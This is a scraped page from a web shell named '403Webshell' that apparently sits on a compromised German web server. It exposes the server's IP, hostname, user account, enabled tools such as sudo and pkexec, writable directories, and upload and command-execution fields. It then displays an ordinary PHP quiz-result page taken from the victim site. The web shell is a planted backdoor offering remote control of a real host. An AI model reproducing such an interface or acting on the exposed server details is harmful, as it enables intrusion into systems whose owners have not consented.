403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web31/web/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web31/web/test/result.php
<?php
declare(strict_types=1);
require __DIR__ . '/includes/bootstrap.php';

$user = require_user();
$slug = trim((string)($_GET['slug'] ?? ''));
$submission = load_submission($slug, $user['email']);

if (!$submission) {
    set_flash('danger', 'Für diesen Test wurde noch kein Ergebnis gespeichert.');
    redirect_to('dashboard.php');
}

$winner = $submission['result']['winner'] ?? null;
$scores = $submission['result']['scores'] ?? [];

render_header('Ergebnis');
?>
<div class="row justify-content-center">
    <div class="col-lg-8">
        <div class="card card-soft">
            <div class="card-body p-4 p-md-5 text-center">
                <p class="text-muted mb-2">Ergebnis für</p>
                <h1 class="display-6 fw-bold mb-3"><?= e((string)$submission['participant']['name']) ?></h1>

                <?php if ($winner): ?>
                    <div class="display-4 mb-3"><?= e((string)($winner['emoji'] ?? '✨')) ?></div>
                    <span class="badge text-bg-<?= e((string)($winner['badge_class'] ?? 'primary')) ?> fs-6 px-3 py-2 mb-3">
                        <?= e((string)($winner['title'] ?? 'Ergebnis')) ?>
                    </span>
                    <p class="lead"><?= e((string)($winner['description'] ?? '')) ?></p>
                <?php endif; ?>

                <div class="row g-3 text-start mt-4">
                    <?php foreach ($scores as $key => $score): ?>
                        <div class="col-md-6">
                            <div class="border rounded p-3 bg-light">
                                <strong><?= e((string)$key) ?>:</strong> <?= (int)$score ?> Punkte
                            </div>
                        </div>
                    <?php endforeach; ?>
                </div>

                <div class="d-flex justify-content-center gap-2 mt-4">
                    <a class="btn btn-outline-secondary btn-lg" href="test.php?slug=<?= urlencode($slug) ?>">Antworten bearbeiten</a>
                    <a class="btn btn-primary btn-lg" href="dashboard.php">Zur Übersicht</a>
                </div>
            </div>
        </div>
    </div>
</div>
<?php render_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit